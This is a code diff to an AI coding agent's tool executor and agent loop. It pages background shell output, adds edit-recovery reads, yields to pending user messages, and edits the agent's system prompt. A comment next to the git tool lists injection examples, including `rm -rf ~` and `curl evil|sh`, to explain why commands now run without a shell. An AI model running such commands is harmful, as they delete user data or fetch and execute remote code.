  import { RemoteReadLoopGuard } from "../lib/remote-read-loop-guard.js";
25
28
  import {
26
29
  isPrActionRequest,
@@ -450,10 +453,10 @@ function _appendBgStream(stream, text) {
450
453
  }
451
454
  }
452
455
 
453
- // Read everything produced since the last read and advance the cursor. When the
454
- // cursor points into a region already dropped from the retained tail, the gap
455
- // is reported so the caller knows output was lost to the buffer cap.
456
- function _readBgStream(stream) {
456
+ // Read one bounded page and advance only past returned text. When the cursor
457
+ // points into a region already dropped from the retained tail, report that gap
458
+ // separately; unread retained text remains available on the next poll.
459
+ function _readBgStream(stream, budget) {
457
460
  const bufStart = stream.total - stream.buf.length;
458
461
  let from = stream.cursor;
459
462
  let droppedGap = 0;
@@ -461,9 +464,9 @@ function _readBgStream(stream) {
461
464
  droppedGap = bufStart - from;
462
465
  from = bufStart;
463
466
  }
464
- const text = stream.buf.slice(from - bufStart);
465
- stream.cursor = stream.total;
466
- return { text, droppedGap };
467
+ const page = shellOutputPage(stream.buf.slice(from - bufStart), budget);
468
+ stream.cursor = from + page.text.length;
469
+ return { ...page, droppedGap };
467
470
  }
468
471
 
469
472
  /**
@@ -1114,11 +1117,12 @@ export function getBaseSystemPrompt(cwd) {
1114
1117
  You have access to tools that let you read files, write files, edit files, run shell commands, and search the codebase. When the user asks you to do something, USE THE TOOLS to actually do it — don't just describe what should be done.
1115
1118
 
1116
1119
  Key behaviors:
1120
+ - A new user message may arrive before the previous task finishes. Incorporate corrections and added requests while preserving unfinished authorized work, unless the user cancels or replaces it. Use the completed tool results already in history; do not restart the investigation.
1117
1121
  - When asked to modify code, read the file first, then edit it
1118
1122
  - When asked to create something, use write_file to create it
1119
1123
  - When asked to remove or rename a file, use delete_file or move_file so the filesystem intent is explicit and reviewable
1120
1124
  - When asked to run/test something, use run_shell to execute it
1121
- - For a bug fix, retain the failing test/file and exact error, inspect the relevant code, then state a root-cause hypothesis and run the smallest reproduction or diagnostic that can disprove it. Base the next step on actual output. Do not repeatedly read adjacent files without identifying a specific missing fact. Validate the fix with the failing case and report what remains unverified.
1125
+ - ${DIAGNOSTIC_WORKFLOW_GUIDANCE}
1122
1126
  - For CI log retrieval, inspect command stderr before retrying. Match syntax to the actual shell: Windows PowerShell 5 does not support &&, cmd treats single quotes literally, and head is not a Windows builtin. Prefer a plain gh metadata/log command without jq or pipelines first, then inspect the saved output. Never switch shells to bypass a policy denial.
1123
1127
  - For long-running commands (builds, full test suites, dev servers) set run_shell { run_in_background: true } to get a task_id back immediately, then poll output and completion with check_shell { task_id }. Kill a backgrounded server with check_shell { task_id, kill: true } when finished
1124
1128
  - When asked about git status, diff, log, or other repository operations, use the git tool instead of run_shell
@@ -5676,10 +5680,30 @@ async function executeToolInner(
5676
5680
  result.error === "ambiguous_anchor" && result.matches?.[0]
5677
5681
  ? snippetAround(original, result.matches[0].lineNumber - 1)
5678
5682
  : null;
5683
+ const expectedContent = result.current ?? args.expected_line;
5684
+ const expectedIndex =
5685
+ typeof expectedContent === "string"
5686
+ ? original
5687
+ .split(/\r?\n/)
5688
+ .findIndex((line) => line.trim() === expectedContent.trim())
5689
+ : -1;
5690
+ const recoveryRead = ["hash_mismatch", "content_mismatch"].includes(
5691
+ result.error,
5692
+ )
5693
+ ? {
5694
+ path: filePath,
5695
+ hashed: true,
5696
+ offset: Math.max(1, expectedIndex - 3 + 1),
5697
+ limit: 80,
5698
+ }
5699
+ : null;
5679
5700
  return attachDescriptor({
5680
5701
  error: result.error,
5681
5702
  message: result.message,
5682
- hint: result.hint,
5703
+ hint: recoveryRead
5704
+ ? "Call read_file with the exact recoveryRead arguments (hashed:true) to refresh the anchors, then retry the edit using the returned hash. This bounded refresh is available once during loop recovery; do not restart broad reading."
5705
+ : result.hint,
5706
+ ...(recoveryRead && { recoveryRead }),
5683
5707
  ...(result.matches && { matches: result.matches }),
5684
5708
  ...(result.current && { current: result.current }),
5685
5709
  ...(result.expected && { expected: result.expected }),
@@ -6688,8 +6712,8 @@ async function executeToolInner(
6688
6712
  result.stderr ||
6689
6713
  `Sandbox command exited with code ${result.exitCode}`
6690
6714
  ).substring(0, 2000),
6691
- stdout: result.stdout.substring(0, 30000),
6692
- stderr: result.stderr.substring(0, 2000),
6715
+ ...shellOutputPreview(result.stdout, "stdout", 16000),
6716
+ ...shellOutputPreview(result.stderr, "stderr", 4000),
6693
6717
  exitCode: result.exitCode,
6694
6718
  ...common,
6695
6719
  },
@@ -6697,7 +6721,11 @@ async function executeToolInner(
6697
6721
  );
6698
6722
  }
6699
6723
  return attachDescriptor(
6700
- { stdout: result.stdout.substring(0, 30000), ...common },
6724
+ {
6725
+ exitCode: 0,
6726
+ ...shellOutputPreview(result.stdout, "stdout", 24000),
6727
+ ...common,
6728
+ },
6701
6729
  override || runtimeDescriptor,
6702
6730
  );
6703
6731
  }
@@ -6829,7 +6857,8 @@ async function executeToolInner(
6829
6857
  }
6830
6858
  return attachDescriptor(
6831
6859
  {
6832
- stdout: output.substring(0, 30000),
6860
+ ...shellOutputPreview(output, "stdout", 24000),
6861
+ exitCode: 0,
6833
6862
  ...shellMeta,
6834
6863
  ...pluginBinResult,
6835
6864
  shellCommandPolicy: shellPolicy,
@@ -6847,9 +6876,9 @@ async function executeToolInner(
6847
6876
  // actual failure. Only attach it when there IS output (a timeout with
6848
6877
  // no output keeps the field absent), mirroring the success path.
6849
6878
  ...(err.stdout
6850
- ? { stdout: String(err.stdout).substring(0, 30000) }
6879
+ ? shellOutputPreview(err.stdout, "stdout", 16000)
6851
6880
  : {}),
6852
- stderr: (err.stderr || "").substring(0, 2000),
6881
+ ...shellOutputPreview(err.stderr, "stderr", 4000),
6853
6882
  exitCode: err.status,
6854
6883
  ...(typeof err.code === "string" && err.code
6855
6884
  ? {
@@ -6876,6 +6905,7 @@ async function executeToolInner(
6876
6905
  if (!taskId) {
6877
6906
  return attachDescriptor({
6878
6907
  tasks: listBackgroundShellTasks(),
6908
+ hint: "This is a task list, not process output. Call check_shell with the task_id to read stdout, stderr and exitCode; continue while has_more_output is true even after the process exits.",
6879
6909
  });
6880
6910
  }
6881
6911
  const task = _backgroundShellTasks.get(taskId);
@@ -6891,8 +6921,17 @@ async function executeToolInner(
6891
6921
  // handler flips status. Best-effort.
6892
6922
  killed = _killTask(task);
6893
6923
  }
6894
- const out = _readBgStream(task.out);
6895
- const err = _readBgStream(task.err);
6924
+ const outputBudget = Math.min(
6925
+ 16000,
6926
+ Math.floor((MAX_TOOL_RESULT_CHARS - 8192) / 2),
6927
+ );
6928
+ if (outputBudget < 64)
6929
+ return attachDescriptor({
6930
+ error:
6931
+ "Tool output limit is too small to return a background output page. Output was not consumed.",
6932
+ });
6933
+ const out = _readBgStream(task.out, outputBudget);
6934
+ const err = _readBgStream(task.err, outputBudget);
6896
6935
  return attachDescriptor({
6897
6936
  task_id: task.id,
6898
6937
  status: task.status,
@@ -6901,8 +6940,15 @@ async function executeToolInner(
6901
6940
  exitCode: task.exitCode,
6902
6941
  signal: task.signal,
6903
6942
  ...(task.error ? { error: task.error } : {}),
6904
- stdout: out.text.substring(0, 30000),
6905
- stderr: err.text.substring(0, 30000),
6943
+ stdout: out.text,
6944
+ stderr: err.text,
6945
+ has_more_output: out.remaining > 0 || err.remaining > 0,
6946
+ ...(out.remaining || err.remaining
6947
+ ? {
6948
+ next_check: { task_id: task.id },
6949
+ hint: "More retained output is unread. Call check_shell with next_check even if status is exited or failed; process exit does not mean all output has been read.",
6950
+ }
6951
+ : {}),
6906
6952
  ...(out.droppedGap ? { stdout_dropped_bytes: out.droppedGap } : {}),
6907
6953
  ...(err.droppedGap ? { stderr_dropped_bytes: err.droppedGap } : {}),
6908
6954
  ...(killed ? { killed: true } : {}),
@@ -6919,6 +6965,9 @@ async function executeToolInner(
6919
6965
  });
6920
6966
  }
6921
6967
 
6968
+ const inputError = gitToolInputError(normalizedCommand);
6969
+ if (inputError) return attachDescriptor(inputError);
6970
+
6922
6971
  // Run via argv (spawnSync, NO shell) so shell metacharacters in the
6923
6972
  // command — e.g. `status; rm -rf ~`, `log && curl evil|sh`, `$(…)` —
6924
6973
  // cannot inject a second command. Previously execSync(`git ${cmd}`) ran
@@ -6965,6 +7014,7 @@ async function executeToolInner(
6965
7014
  }
6966
7015
  return attachDescriptor({
6967
7016
  stdout: String(res.stdout || "").substring(0, 30000),
7017
+ exitCode: 0,
6968
7018
  command: normalizedCommand,
6969
7019
  readOnly,
6970
7020
  });
@@ -14282,6 +14332,17 @@ export async function* agentLoop(messages, options) {
14282
14332
  let lastTaskProgressIntervention = null;
14283
14333
 
14284
14334
  while (budget.hasRemaining()) {
14335
+ // Yield only between complete tool batches. Keep all completed tool results
14336
+ // and settle child usage before the host accepts queued user steering.
14337
+ if (options.shouldYieldToUser?.() === true) {
14338
+ await _awaitBackgroundUsageSettlement(
14339
+ backgroundSubAgents,
14340
+ backgroundUsageFailureState,
14341
+ );
14342
+ yield* _drainSubAgentUsage(subAgentUsageSink);
14343
+ yield { type: "run-ended", runId, reason: "user-input-pending" };
14344
+ return;
14345
+ }
14285
14346
  readFileLoopGuard.finishBatch();
14286
14347
  if (remoteReadLoopGuard.stalled) {
14287
14348
  await _awaitBackgroundUsageSettlement(
@@ -14295,7 +14356,7 @@ export async function* agentLoop(messages, options) {
14295
14356
  error.code = "CC_AGENT_REPEATED_REMOTE_READ";
14296
14357
  throw error;
14297
14358
  }
14298
- if (readFileLoopGuard.stalled) {
14359
+ if (readFileLoopGuard.stalled && !readFileLoopGuard.hasEditRecoveryReads) {
14299
14360
  await _awaitBackgroundUsageSettlement(
14300
14361
  backgroundSubAgents,
14301
14362
  backgroundUsageFailureState,
@@ -14429,6 +14490,7 @@ export async function* agentLoop(messages, options) {
14429
14490
  try {
14430
14491
  const compactor = await _getAutoCompactor(options);
14431
14492
  if (compactor && compactor.shouldAutoCompact(messages)) {
14493
+ options.onBeforeCompaction?.();
14432
14494
  compactionUsageState = _autoCompactionUsageState(options);
14433
14495
  compactionUsageState.calls = [];
14434
14496
  compactionUsageState.callSequence = budget.consumed;
@@ -14906,7 +14968,9 @@ export async function* agentLoop(messages, options) {
14906
14968
  };
14907
14969
  }
14908
14970
  const pausedTools = new Set([
14909
- ...(readRecoveryTurn ? ["read_file"] : []),
14971
+ ...(readRecoveryTurn && !readFileLoopGuard.hasEditRecoveryReads
14972
+ ? ["read_file"]
14973
+ : []),
14910
14974
  ...(taskRecoveryTurn ? taskRecoveryTools : []),
14911
14975
  ...remoteRecoveryTools,
14912
14976
  ...(prInvestigationExhausted
@@ -14927,6 +14991,7 @@ export async function* agentLoop(messages, options) {
14927
14991
  }
14928
14992
  : effectiveToolOptions;
14929
14993
  const readContext = [
14994
+ options.getTaskWorklogContext?.(),
14930
14995
  readFileLoopGuard.findingsHint,
14931
14996
  readFileLoopGuard.progressHint,
14932
14997
  remoteReadLoopGuard.findingsHint,
@@ -15793,8 +15858,16 @@ export async function* agentLoop(messages, options) {
15793
15858
  // Capability and exact-path authority must settle before any checkpoint,
15794
15859
  // hook, or observationally stronger `tool-executing` event. The same
15795
15860
  // preflight runs again inside executeTool to prevent call-site drift.
15861
+ const editRecoveryRead =
15862
+ toolName === "read_file" &&
15863
+ typeof toolArgs?.path === "string" &&
15864
+ readFileLoopGuard.canRecoverEdit(
15865
+ path.resolve(toolContext.cwd || process.cwd(), toolArgs.path),
15866
+ toolArgs,
15867
+ );
15796
15868
  const earlyAuthorityDenial =
15797
- (pausedTools.has(toolName) ||
15869
+ ((pausedTools.has(toolName) && !editRecoveryRead) ||
15870
+ (readRecoveryTurn && toolName === "read_file" && !editRecoveryRead) ||
15798
15871
  remoteReadLoopGuard.shouldPause(toolName, toolArgs) ||
15799
15872
  (taskRecoveryTurn &&
15800
15873
  toolName === "read_file" &&
@@ -16170,6 +16243,8 @@ export async function* agentLoop(messages, options) {
16170
16243
  const resultStr = toolResultForModel(toolName, toolResult, messages);
16171
16244
  remoteReadLoopGuard.record(toolName, toolResult, toolArgs);
16172
16245
  explicitPrCloseActionGuard.record(toolName, toolArgs, toolResult);
16246
+ if (toolName === "edit_file_hashed")
16247
+ readFileLoopGuard.recordEditRecovery(toolResult);
16173
16248
  readFileLoopGuard.record(
16174
16249
  toolName,
16175
16250
  toolResult,